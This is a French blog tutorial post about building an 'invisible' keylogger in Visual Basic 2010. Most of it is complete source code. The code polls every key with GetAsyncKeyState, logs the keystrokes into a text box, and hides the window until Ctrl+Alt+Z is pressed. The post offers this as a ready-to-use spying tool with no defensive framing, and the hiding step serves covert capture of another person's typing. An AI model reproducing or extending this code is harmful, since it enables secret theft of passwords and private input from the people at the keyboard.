tuto keylogger invisible virtual basic 2010 - tuto-informatique.seb30.overblog.com
Overblog Suivre ce blog
Editer l'article Administration Créer mon blog
tuto-informatique.seb30.overblog.com

tuto et astuce informatique,n'hesitez pas a faire un don pour le travail

tuto keylogger invisible virtual basic 2010

Publié le 18 Décembre 2012 par SEB in vb 2010

Pour bien faire le programme il faut une richtextbox un timer et un bouton puis copier ce programme (ps: je l ai mit en petit sinon les lignes sont decalées).

dès que vous presser sur le bouton le programme se cache  et est invisible pour le faire apparaitre ctrl alt +z.

Public Class Form1

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load 

Timer1.Start()

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim key As String

Dim log As Integer

For k = 1 To 255

log = 0

log = GetAsyncKeyState(k)

If log = -32767 Then

key = Chr(k) RichTextBox1.Text = RichTextBox1.Text + Chr(k)

End If

Next k

If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then

Me.Show()

End If

End Sub

Private Sub RichTextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RichTextBox1.TextChanged

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Me.Hide()

End Sub

End Class

tuto keylogger invisible virtual basic 2010
Commenter cet article